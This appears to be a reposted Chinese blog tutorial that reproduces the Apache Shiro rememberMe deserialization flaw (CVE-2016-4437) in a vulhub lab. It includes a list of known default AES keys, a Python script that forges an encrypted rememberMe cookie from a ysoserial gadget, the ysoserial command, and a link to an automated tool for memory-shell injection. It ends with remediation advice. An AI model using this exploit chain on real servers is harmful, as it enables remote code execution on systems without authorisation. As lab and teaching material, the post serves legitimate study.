0


shiro反序列化漏洞(CVE-2016-4437)漏洞复现

shiro反序列化漏洞(CVE-2016-4437)漏洞复现

1、漏洞描述

Apache Shiro是一款开源强大且易用的Java安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题
在 1.2.4 版本前,加密的用户信息序列化后存储在名为remember-me的Cookie中,而且是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透

总结一句话:ASE秘钥不能使用已知的外部秘钥,不能泄露秘钥。

Shiro remember 思维导图

2、影响版本

Apache Shiro <= 1.2.4

漏洞特征:

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

一些可替代的密钥:

kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
3AvVhmFLUs0KTA3Kprsdag==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==

3、靶场搭建

靶场环境是使用kali搭建的vulhub靶场,

搭建命令:

cd /vulhub-master/shiro/CVE-2016-4437
CVE-2016-4437# docker-compose up -d

然后访问:http://ip:8080/

4、漏洞特征验证

第一种情况

设置代理,随便输入账号密码,使用burp抓取请求包,在返回包中set_cookie中存在rememberMe=deleteMe特征

第二种情况

如果直接发送数据包,返回包不存在特征:Set-Cookie: rememberMe=deleteMe;

可以在请求包中的cookie中添加:rememberMe=deleteMe;

然后查看返回包中是否存在特征:Set-Cookie: rememberMe=deleteMe;

5、手工漏洞利用

1.下载反序列化利用工具: ysoserial

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

payload生成代码(python3),命名为poc.py

import sys
import uuid
import base64
from Crypto.Cipher import AES

def encode_rememberme():
    f = open('poc.ser','rb')
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(f.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme()   
    print("rememberMe={0}".format(payload.decode()))

2.访问靶场:http://ip:8080/,勾选remember me,随便输入账号密码,使用burp抓包。

  1. 使用ysoserial生成CommonsBeanutils1的Gadget:
java -jar ysoserial-master.jar CommonsBeanutils1 "touch /tmp/succ123" > poc.ser

再使用前面创建的poc3.py生成payload

4.将生成的payload替换到请求包cookie中

5、进入搭建靶机的机器,查看生成文件

docker ps
docker exec -it 99d2973f37e9 /bin/bash
cd /tmp
ls

6、工具利用

工具地址:https://github.com/j1anFen/shiro_attack

1.检测是否存在漏洞,爆破密钥

2.爆破利用链及回显

3.命令执行

4.注入内存马

5.使用冰蝎利用内存马

7、漏洞怎么修复

1.确定自己使用的shiro版本要高于1.2.4;

2.在代码中全局搜索 "setCipherKey(Base64.decode(" 关键字,或者"setCipherKey"方法,Base64.decode()中的字符串就是shiro的密钥,要确保该密钥的安全性,千万不要使用公开的密钥。

声明:

本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,

作者创作不容易,请大家点赞收藏支持一下。谢谢各位读者大老爷。

参考链接:https://blog.csdn.net/weixin_45605352/article/details/116846678


本文转载自: https://blog.csdn.net/HEAVEN569/article/details/125389987
版权归原作者 HEAVM 所有, 如有侵权,请联系我们删除。

“shiro反序列化漏洞(CVE-2016-4437)漏洞复现”的评论:

还没有评论